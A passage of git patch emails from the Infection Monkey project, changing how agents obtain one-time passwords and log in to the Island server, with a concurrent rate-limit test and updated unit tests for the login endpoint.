| 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index f6e0a6bbaed..656d54c8b36 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -48,7 +48,7 @@ def get(self): :return: One-time password in the response body """ - if not AgentOTP.limiter: + if AgentOTP.limiter is None: raise RuntimeError("limiter has not been initialized") try: with AgentOTP.limiter: From e1d9075dd869beabf264522a6a8742dc022331d6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 17:31:56 +0000 Subject: [PATCH 1097/1338] Agent: Raise RuntimeError in IAgentOTPProvider.get_otp --- monkey/infection_monkey/exploit/i_agent_otp_provider.py | 1 + .../exploit/island_api_agent_otp_provider.py | 6 +++++- .../exploit/test_island_api_agent_otp_provider.py | 4 ++-- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/i_agent_otp_provider.py b/monkey/infection_monkey/exploit/i_agent_otp_provider.py index 1a3a45f4075..372cc7af3cc 100644 --- a/monkey/infection_monkey/exploit/i_agent_otp_provider.py +++ b/monkey/infection_monkey/exploit/i_agent_otp_provider.py @@ -14,5 +14,6 @@ def get_otp(self) -> str: Get a one-time password (OTP) :return: An OTP + :raises RuntimeError: If an OTP cannot be retrieved """ pass diff --git a/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py b/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py index 3335d001a90..381a489a805 100644 --- a/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py +++ b/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py @@ -10,10 +10,14 @@ def __init__(self, island_api_client: IIslandAPIClient): self._island_api_client = island_api_client def get_otp(self) -> str: + # Note: Using too large of a delay here will cause the exploiter + # threads/processes to hang for _ in range(6): try: return self._island_api_client.get_otp() except IslandAPIRequestLimitExceededError: sleep(0.5) continue - raise IslandAPIRequestLimitExceededError("Failed to get OTP: Too many requests.") + except Exception as err: + raise RuntimeError(err) + raise RuntimeError("Failed to get OTP: Too many requests.") diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py index 0b26edfe3ff..c64e57ffe59 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py @@ -23,7 +23,7 @@ def test_get_otp__retries_if_rate_limit_hit(monkeypatch): island_api_client.get_otp.side_effect = IslandAPIRequestLimitExceededError otp_provider = IslandAPIAgentOTPProvider(island_api_client) - with suppress(IslandAPIRequestLimitExceededError): + with suppress(RuntimeError): otp_provider.get_otp() assert island_api_client.get_otp.call_count > 1 @@ -49,5 +49,5 @@ def test_get_otp__raises_error_if_unable_to_retrieve_otp(monkeypatch, error): island_api_client.get_otp.side_effect = error otp_provider = IslandAPIAgentOTPProvider(island_api_client) - with pytest.raises(error): + with pytest.raises(RuntimeError): otp_provider.get_otp() From caff684cc1962192a88cd26b1e8466b6ab9732b2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Apr 2023 19:13:52 -0400 Subject: [PATCH 1098/1338] BB: Run rate limit test concurrently --- envs/monkey_zoo/blackbox/test_blackbox.py | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index c55bf70579c..1a20764a62d 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -1,6 +1,7 @@ import logging import os from http import HTTPStatus +from threading import Thread from time import sleep import pytest @@ -165,12 +166,24 @@ def test_logout_invalidates_all_tokens(island): def test_agent_otp_rate_limit(island): - for _ in range(0, MAX_OTP_REQUESTS_PER_SECOND): - response = requests.get(f"https://{island}/api/agent-otp", verify=False) # noqa: DUO123 - assert response.status_code == HTTPStatus.OK + threads = [] + response_codes = [] + agent_otp_endpoint = f"https://{island}/api/agent-otp" - response = requests.get(f"https://{island}/api/agent-otp", verify=False) # noqa: DUO123 - assert response.status_code == HTTPStatus.TOO_MANY_REQUESTS + def make_request(): + response = requests.get(agent_otp_endpoint, verify=False) # noqa: DUO123 + response_codes.append(response.status_code) + + for _ in range(0, MAX_OTP_REQUESTS_PER_SECOND + 1): + t = Thread(target=make_request, daemon=True) + t.start() + threads.append(t) + + for t in threads: + t.join() + + assert response_codes.count(HTTPStatus.OK) == MAX_OTP_REQUESTS_PER_SECOND + assert response_codes.count(HTTPStatus.TOO_MANY_REQUESTS) == 1 # NOTE: These test methods are ordered to give time for the slower zoo machines From 61be9e9c7dd6a813ff76314691cc99107566ad34 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 14:31:27 +0530 Subject: [PATCH 1099/1338] Island: Modify the AgentOTPLggin resource to allow Agent login using OTP --- .../flask_resources/agent_otp_login.py | 48 +++++++++++++------ 1 file changed, 33 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index cc8d9f6b7cf..fe965c54809 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -1,13 +1,18 @@ import json from flask import make_response, request +from flask_security import RegisterForm +from flask_security.registerable import register_user -from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME +from common.types import AgentID +from common.utils.code_utils import secure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource, responses +from monkey_island.cc.services.authentication_service import AccountRole from ..authentication_facade import AuthenticationFacade from ..types import OTP -from .utils import add_refresh_token_to_response +from .utils import include_auth_token class AgentOTPLogin(AbstractResource): @@ -17,36 +22,49 @@ class AgentOTPLogin(AbstractResource): A client may authenticate with the Island by providing a one-time password. """ - urls = ["/api/agent-otp-login"] + urls = ["/api/agent-otp-login/"] def __init__(self, authentication_facade: AuthenticationFacade): self._authentication_facade = authentication_facade - def post(self): + @include_auth_token + def post(self, agent_id: AgentID): """ Gets the one-time password from the request, and returns an authentication token and a refresh token + for a particular Agent + :param agent_id: The ID of the Agent trying to log in :return: Authentication token in the response body """ try: - cred_dict = json.loads(request.data) - otp = cred_dict.get("otp", "") + otp = json.loads(request.data).get("otp", "") if self._validate_otp(otp): - refresh_token = "refreshtoken" - - response = make_response( - {"response": {"user": {ACCESS_TOKEN_KEY_NAME: "supersecrettoken"}}} + agent_user = register_user( + RegisterForm( + username=str(agent_id), + password=secure_generate_random_string(32), + roles=[AccountRole.AGENT.name], + ) ) - response = add_refresh_token_to_response(response, refresh_token) - return response + auth_token = agent_user.get_auth_token() + refresh_token = self._authentication_facade.generate_refresh_token(agent_user) + + return make_response( + { + "response": { + "user": { + ACCESS_TOKEN_KEY_NAME: auth_token, + REFRESH_TOKEN_KEY_NAME: refresh_token, + } + } + } + ) except Exception: - pass - - return responses.make_response_to_invalid_request() + return responses.make_response_to_invalid_request() def _validate_otp(self, otp: OTP): return len(otp) > 0 From 17304d70ad483e8a0130d97bff9fcf2d12051fd5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 14:35:46 +0530 Subject: [PATCH 1100/1338] Island: Remove outdated comment in configure_flask_security.py --- .../services/authentication_service/configure_flask_security.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 769814e5d9b..f268f6747a6 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -52,8 +52,6 @@ def configure_flask_security(app, data_dir: Path) -> Security: class CustomConfirmRegisterForm(ConfirmRegisterForm): # We don't use the email, but the field is required by ConfirmRegisterForm. # Email validators need to be overriden, otherwise an error about invalid email is raised. - # Added custom validator to the email field because we have to override - # email validators anyway. email = StringField("Email", default="dummy@dummy.com", validators=[]) def to_dict(self, only_user): From 48b2cb27a0277f0cb58fafe3f74c6898193e35f3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 14:53:19 +0530 Subject: [PATCH 1101/1338] UT: Rename test_otp_login.py -> test_agent_otp_login.py --- .../{test_otp_login.py => test_agent_otp_login.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/{test_otp_login.py => test_agent_otp_login.py} (100%) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py similarity index 100% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py From 6f792c90e6a2309ebf0f0ccd17c36d229e6cf1fe Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 15:03:56 +0530 Subject: [PATCH 1102/1338] Island: Fix response logic in AgentOTPLogin POST --- .../authentication_service/flask_resources/agent_otp_login.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index fe965c54809..3043fc3615b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -64,7 +64,9 @@ def post(self, agent_id: AgentID): ) except Exception: - return responses.make_response_to_invalid_request() + pass + + return responses.make_response_to_invalid_request() def _validate_otp(self, otp: OTP): return len(otp) > 0 From 7619c4dcbec6f32e198212ca47525fedf292ee1b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 15:04:46 +0530 Subject: [PATCH 1103/1338] UT: Update AgentOTPLogin tests --- .../flask_resources/test_agent_otp_login.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index c127d13f1ed..47ef243af77 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -1,14 +1,19 @@ +from uuid import UUID + import pytest +from tests.unit_tests.monkey_island.conftest import get_url_for_resource -from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from monkey_island.cc.services.authentication_service.flask_resources.agent_otp_login import ( AgentOTPLogin, ) +AGENT_ID = UUID("9614480d-471b-4568-86b5-cb922a34ed8a") + @pytest.fixture def agent_otp_login(flask_client): - url = AgentOTPLogin.urls[0] + url = get_url_for_resource(AgentOTPLogin, agent_id=str(AGENT_ID)) def _agent_otp_login(request_body): return flask_client.post(url, data=request_body, follow_redirects=True) @@ -20,7 +25,8 @@ def test_agent_otp_login__successful(agent_otp_login): response = agent_otp_login('{"otp": "supersecretpassword"}') assert response.status_code == 200 - assert response.json["response"]["user"][ACCESS_TOKEN_KEY_NAME] == "supersecrettoken" + assert ACCESS_TOKEN_KEY_NAME in response.json["response"]["user"] + assert REFRESH_TOKEN_KEY_NAME in response.json["response"]["user"] @pytest.mark.parametrize("data", [{}, [], '{"otp": ""}']) From ef7a3dcc37adc0f74cc62ff19ed56d09a15dcbb3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:15:15 +0530 Subject: [PATCH 1104/1338] Island: Expand character set for Agent user password generation in AgentOTPLogin POST --- .../authentication_service/flask_resources/agent_otp_login.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 3043fc3615b..9f239d22c83 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -1,4 +1,5 @@ import json +import string from flask import make_response, request from flask_security import RegisterForm @@ -44,7 +45,7 @@ def post(self, agent_id: AgentID): agent_user = register_user( RegisterForm( username=str(agent_id), - password=secure_generate_random_string(32), + password=secure_generate_random_string(32, string.printable), roles=[AccountRole.AGENT.name], ) ) From f42db0e311cdd9cb461f82b33ae207245a218482 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:16:23 +0530 Subject: [PATCH 1105/1338] Island: Remove @include_auth_token from AgentOTPLogin POST --- .../authentication_service/flask_resources/agent_otp_login.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 9f239d22c83..5203acc8dcd 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -13,7 +13,6 @@ from ..authentication_facade import AuthenticationFacade from ..types import OTP -from .utils import include_auth_token class AgentOTPLogin(AbstractResource): @@ -28,7 +27,6 @@ class AgentOTPLogin(AbstractResource): def __init__(self, authentication_facade: AuthenticationFacade): self._authentication_facade = authentication_facade - @include_auth_token def post(self, agent_id: AgentID): """ Gets the one-time password from the request, From c0472de817737e0e28e8608b1e65a0da937ed91c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:09:47 -0400 Subject: [PATCH 1106/1338] Island: Parse agent ID from otp login request body --- .../flask_resources/agent_otp_login.py | 16 ++++++++-- .../flask_resources/test_agent_otp_login.py | 29 +++++++++++++++---- 2 files changed, 38 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 5203acc8dcd..0f4f241c305 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -1,5 +1,6 @@ import json import string +from http import HTTPStatus from flask import make_response, request from flask_security import RegisterForm @@ -22,12 +23,12 @@ class AgentOTPLogin(AbstractResource): A client may authenticate with the Island by providing a one-time password. """ - urls = ["/api/agent-otp-login/"] + urls = ["/api/agent-otp-login"] def __init__(self, authentication_facade: AuthenticationFacade): self._authentication_facade = authentication_facade - def post(self, agent_id: AgentID): + def post(self): """ Gets the one-time password from the request, and returns an authentication token and a refresh token @@ -36,6 +37,17 @@ def post(self, agent_id: AgentID): :param agent_id: The ID of the Agent trying to log in :return: Authentication token in the response body """ + try: + agent_id_argument = request.json["agent_id"] + agent_id = AgentID(agent_id_argument) + except ValueError as err: + return make_response( + f'Invalid agent ID "{agent_id_argument}": {err}', HTTPStatus.BAD_REQUEST + ) + except KeyError as err: + return make_response(f"Missing argument {err}", HTTPStatus.BAD_REQUEST) + except TypeError: + return make_response("Could not parse the login request", HTTPStatus.BAD_REQUEST) try: otp = json.loads(request.data).get("otp", "") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index 47ef243af77..82fd4399d54 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -13,24 +13,43 @@ @pytest.fixture def agent_otp_login(flask_client): - url = get_url_for_resource(AgentOTPLogin, agent_id=str(AGENT_ID)) + url = get_url_for_resource(AgentOTPLogin) def _agent_otp_login(request_body): - return flask_client.post(url, data=request_body, follow_redirects=True) + return flask_client.post(url, json=request_body, follow_redirects=True) return _agent_otp_login def test_agent_otp_login__successful(agent_otp_login): - response = agent_otp_login('{"otp": "supersecretpassword"}') + response = agent_otp_login({"agent_id": AGENT_ID, "otp": "supersecretpassword"}) assert response.status_code == 200 assert ACCESS_TOKEN_KEY_NAME in response.json["response"]["user"] assert REFRESH_TOKEN_KEY_NAME in response.json["response"]["user"] -@pytest.mark.parametrize("data", [{}, [], '{"otp": ""}']) -def test_agent_otp_login__failure(agent_otp_login, data): +@pytest.mark.parametrize( + "data", + [ + {}, + [], + {"otp": ""}, + {"agent_id": AGENT_ID, "otp": ""}, + {"agent_id": "", "otp": "supersecretpassword"}, + {"agent_id": "1234", "otp": "supersecretpassword"}, + ], +) +def test_agent_otp_login__invalid_request(agent_otp_login, data): response = agent_otp_login(data) assert response.status_code == 400 + + +def test_agent_otp_login__invalid_json(flask_client): + url = get_url_for_resource(AgentOTPLogin) + invalid_json = "{'key1': 'value1', 'key2: 'value2'}" + + response = flask_client.post(url, data=invalid_json, follow_redirects=True) + + assert response.status_code == 400 From 03014331b8db45df52eaa11064b57a0c49ae88a8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:12:46 -0400 Subject: [PATCH 1107/1338] Agent: Add agent ID to the OTP login request --- .../island_api_client/http_island_api_client.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 5c9b2b4edc1..b2cb3e6ca8d 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -86,7 +86,9 @@ def __init__( @handle_response_parsing_errors def login(self, otp: OTP): try: - response = self._http_client.post("/agent-otp-login", {"otp": otp.get_secret_value()}) + response = self._http_client.post( + "/agent-otp-login", {"agent_id": str(self._agent_id), "otp": otp.get_secret_value()} + ) self._update_tokens_from_response(response) except Exception: # We need to catch all exceptions here because we don't want to leak the OTP From 280e452d451f937c15213cb9fb71a66abbcdfb71 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:21:39 -0400 Subject: [PATCH 1108/1338] Island: Parse OTP in AgentOTPLogin endpoint --- .../flask_resources/agent_otp_login.py | 21 ++++++++++++------- .../flask_resources/test_agent_otp_login.py | 1 + 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 0f4f241c305..7f038fb9841 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -1,4 +1,3 @@ -import json import string from http import HTTPStatus @@ -38,19 +37,25 @@ def post(self): :return: Authentication token in the response body """ try: - agent_id_argument = request.json["agent_id"] - agent_id = AgentID(agent_id_argument) - except ValueError as err: - return make_response( - f'Invalid agent ID "{agent_id_argument}": {err}', HTTPStatus.BAD_REQUEST - ) + try: + agent_id_argument = request.json["agent_id"] + agent_id = AgentID(agent_id_argument) + except ValueError as err: + return make_response( + f'Invalid agent ID "{agent_id_argument}": {err}', HTTPStatus.BAD_REQUEST + ) + + try: + otp_argument = request.json["otp"] + otp = OTP(otp_argument) + except ValueError as err: + return make_response(f'Invalid OTP "{otp_argument}": {err}', HTTPStatus.BAD_REQUEST) except KeyError as err: return make_response(f"Missing argument {err}", HTTPStatus.BAD_REQUEST) except TypeError: return make_response("Could not parse the login request", HTTPStatus.BAD_REQUEST) try: - otp = json.loads(request.data).get("otp", "") if self._validate_otp(otp): agent_user = register_user( RegisterForm( diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index 82fd4399d54..32cd2ef7951 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -35,6 +35,7 @@ def test_agent_otp_login__successful(agent_otp_login): {}, [], {"otp": ""}, + {"agent_id": AGENT_ID}, {"agent_id": AGENT_ID, "otp": ""}, {"agent_id": "", "otp": "supersecretpassword"}, {"agent_id": "1234", "otp": "supersecretpassword"}, From 71bbeacd444263de9e4308503f3b8b0d3a9d2b9b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:24:27 -0400 Subject: [PATCH 1109/1338] Island: Return UNAUTHORIZED if the OTP is not found in the database --- .../flask_resources/agent_otp_login.py | 4 ++-- .../flask_resources/test_agent_otp_login.py | 8 +++++++- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 7f038fb9841..a8aacd4e73f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -8,7 +8,7 @@ from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from common.types import AgentID from common.utils.code_utils import secure_generate_random_string -from monkey_island.cc.flask_utils import AbstractResource, responses +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.authentication_service import AccountRole from ..authentication_facade import AuthenticationFacade @@ -82,7 +82,7 @@ def post(self): except Exception: pass - return responses.make_response_to_invalid_request() + return make_response({}, HTTPStatus.UNAUTHORIZED) def _validate_otp(self, otp: OTP): return len(otp) > 0 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index 32cd2ef7951..6a6dbc3428c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -36,7 +36,6 @@ def test_agent_otp_login__successful(agent_otp_login): [], {"otp": ""}, {"agent_id": AGENT_ID}, - {"agent_id": AGENT_ID, "otp": ""}, {"agent_id": "", "otp": "supersecretpassword"}, {"agent_id": "1234", "otp": "supersecretpassword"}, ], @@ -54,3 +53,10 @@ def test_agent_otp_login__invalid_json(flask_client): response = flask_client.post(url, data=invalid_json, follow_redirects=True) assert response.status_code == 400 + + +def test_agent_otp_login__unauthorized(agent_otp_login): + # TODO: Update this test when OTP validation is implemented. + response = agent_otp_login({"agent_id": AGENT_ID, "otp": ""}) + + assert response.status_code == 401 From 091742e5688ba319ff17a81e9c24ba7199b67fa4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:27:48 -0400 Subject: [PATCH 1110/1338] UT: Raise internal server errors (instead of swallowing them) --- .../flask_resources/agent_otp_login.py | 38 +++++++++---------- .../flask_resources/test_agent_otp_login.py | 7 ++++ 2 files changed, 24 insertions(+), 21 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index a8aacd4e73f..35b8e4e9e92 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -55,32 +55,28 @@ def post(self): except TypeError: return make_response("Could not parse the login request", HTTPStatus.BAD_REQUEST) - try: - if self._validate_otp(otp): - agent_user = register_user( - RegisterForm( - username=str(agent_id), - password=secure_generate_random_string(32, string.printable), - roles=[AccountRole.AGENT.name], - ) + if self._validate_otp(otp): + agent_user = register_user( + RegisterForm( + username=str(agent_id), + password=secure_generate_random_string(32, string.printable), + roles=[AccountRole.AGENT.name], ) + ) - auth_token = agent_user.get_auth_token() - refresh_token = self._authentication_facade.generate_refresh_token(agent_user) + auth_token = agent_user.get_auth_token() + refresh_token = self._authentication_facade.generate_refresh_token(agent_user) - return make_response( - { - "response": { - "user": { - ACCESS_TOKEN_KEY_NAME: auth_token, - REFRESH_TOKEN_KEY_NAME: refresh_token, - } + return make_response( + { + "response": { + "user": { + ACCESS_TOKEN_KEY_NAME: auth_token, + REFRESH_TOKEN_KEY_NAME: refresh_token, } } - ) - - except Exception: - pass + } + ) return make_response({}, HTTPStatus.UNAUTHORIZED) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index 6a6dbc3428c..0e0ed2943b4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -60,3 +60,10 @@ def test_agent_otp_login__unauthorized(agent_otp_login): response = agent_otp_login({"agent_id": AGENT_ID, "otp": ""}) assert response.status_code == 401 + + +def test_unexpected_error(mock_authentication_facade, agent_otp_login): + mock_authentication_facade.generate_refresh_token.side_effect = Exception("Unexpected error") + response = agent_otp_login({"agent_id": AGENT_ID, "otp": "password"}) + + assert response.status_code == 500 From 41fd131cf9a36a709a88dd0c0c72bc075a267dcb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:28:57 -0400 Subject: [PATCH 1111/1338] UT: Shorten unnecessarily long test names in test_agent_otp_login.py --- .../flask_resources/test_agent_otp_login.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index 0e0ed2943b4..8a102454b88 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -40,13 +40,13 @@ def test_agent_otp_login__successful(agent_otp_login): {"agent_id": "1234", "otp": "supersecretpassword"}, ], ) -def test_agent_otp_login__invalid_request(agent_otp_login, data): +def test_invalid_request(agent_otp_login, data): response = agent_otp_login(data) assert response.status_code == 400 -def test_agent_otp_login__invalid_json(flask_client): +def test_invalid_json(flask_client): url = get_url_for_resource(AgentOTPLogin) invalid_json = "{'key1': 'value1', 'key2: 'value2'}" @@ -55,7 +55,7 @@ def test_agent_otp_login__invalid_json(flask_client): assert response.status_code == 400 -def test_agent_otp_login__unauthorized(agent_otp_login): +def test_unauthorized(agent_otp_login): # TODO: Update this test when OTP validation is implemented. response = agent_otp_login({"agent_id": AGENT_ID, "otp": ""}) From ba708f7d916a05cd594e7158e577c95e6998964b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:30:31 -0400 Subject: [PATCH 1112/1338] UT: Use HTTPStatus instead of magic numbers in test_agent_otp_login.py --- .../flask_resources/test_agent_otp_login.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index 8a102454b88..ee0af097ac3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -1,3 +1,4 @@ +from http import HTTPStatus from uuid import UUID import pytest @@ -24,7 +25,7 @@ def _agent_otp_login(request_body): def test_agent_otp_login__successful(agent_otp_login): response = agent_otp_login({"agent_id": AGENT_ID, "otp": "supersecretpassword"}) - assert response.status_code == 200 + assert response.status_code == HTTPStatus.OK assert ACCESS_TOKEN_KEY_NAME in response.json["response"]["user"] assert REFRESH_TOKEN_KEY_NAME in response.json["response"]["user"] @@ -43,7 +44,7 @@ def test_agent_otp_login__successful(agent_otp_login): def test_invalid_request(agent_otp_login, data): response = agent_otp_login(data) - assert response.status_code == 400 + assert response.status_code == HTTPStatus.BAD_REQUEST def test_invalid_json(flask_client): @@ -52,18 +53,18 @@ def test_invalid_json(flask_client): response = flask_client.post(url, data=invalid_json, follow_redirects=True) - assert response.status_code == 400 + assert 